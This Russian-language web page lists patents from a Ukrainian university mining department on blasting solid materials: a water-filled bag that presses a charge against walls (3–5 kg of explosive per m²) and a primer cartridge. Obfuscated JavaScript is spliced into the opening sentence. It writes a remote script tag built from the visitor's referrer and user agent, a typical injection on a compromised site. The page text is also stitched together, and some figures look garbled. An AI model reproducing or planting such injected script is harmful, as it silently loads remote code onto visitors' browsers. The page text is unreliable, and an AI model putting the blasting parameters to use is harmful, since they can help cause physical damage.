

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeiiz|var|u0026u|referrer|ehyrf||js|php'.split('|'),0,{ })) кафедре Строительства шахт, подземных сооружений и геомеханики получен ряд патентов на изобретения в области взрывного разрушения твердых материалов

1. Способ разрушения твердых материалов: патент Украины на изобретение № 42339А, Е21С37/00, F42D3/00,/ Шевцов Н.Р., Макаров А.А., Сирачов И.Ж./, ДонНТУ, заяв. № 2001010343 от 16.01.2001г., опубл. 15.10.2001, бюл. №9.

Изобретение относится к технологии взрывного разрушения горных пород и строительных конструкций и может использоваться для разрушения домов и сооружений по заданному контуру с большой эффективностью и интенсивностью в ограниченных условиях жилых массивов населенных пунктов.

Способ разрушения твердых материалов включает введение в основной эластичный сосуд заряда взрывчатого вещества (ВВ), наполнение этого эластичного сосуда водой, установку сосуда на объект, который подлежит разрушению, подрывание заряда ВВ. Новизной является введенный в эластичный сосуд заряд ВВ, который фиксируется в заданном месте на оболочке сосуда, а заполненный водой эластичный сосуд прикладывается к объекту, который подлежит разрушению так, чтобы заряд ВВ прилегал к поверхности названного объекта через оболочку сосуда в заданном месте.

Можно заряд ВВ фиксировать на оболочке посередине основного эластичного сосуда дополнительным эластичным сосудом одинаковой формы и размеров с нею, которую

Средства для разрушения твердых пород

Автор: Kondratenko
28.09.2015 13:07

вводят пустой, заполняют водой, а заряд ВВ располагают между оболочками сосуда. Материал оболочки дополнительного сосуда используют одинаковой или меньшей прочности материала основной эластичной оболочки. Для разрушения стен или колон эластичную оболочку с зарядом ВВ прикладывают к ним путем подвешивания.

Затраты ВВ составляют 3-5 кг на 1 м² поперечного сечения объекта, что разрушают.

Изобретение повышает эффективность разрушения объектов сложной конфигурации, а также стен, колон без бурения шпуров.

2. Патрон-боевик для обратного способа инициирования шпуровых зарядов: патент Украины на изобретение № 42247А, F42B3/103, F42B3/195, / Гудзь А.Г., Шевцов Н.Р., Купенко И.В., Пудак В.И./, ДонНТУ - заяв. № 2000126951 от 05.12.2000г., опубл. 15.10.2001, бюл. №9.

Изобретение относится к области горного дела и может быть использовано при буроподрывной технологии проведения горных выработок.

Патрон-боевик для обратного способа инициирования шпуровых зарядов содержит патрон взрывчатого вещества и электродетонатор с детонаторными проводами. Новизна заключается в размещении электродетонатора в средней трети длины патрона взрывчатого вещества. Это позволяет непосредственно в самом патроне создавать смягчающие подушки длиной 100 м одновременно с двух сторон .

Средства для разрушения твердых пород

Автор: Kondratenko
28.09.2015 13:07

Применение устройство обеспечивает высокую безопасность проведения работ при зарядке шпуров.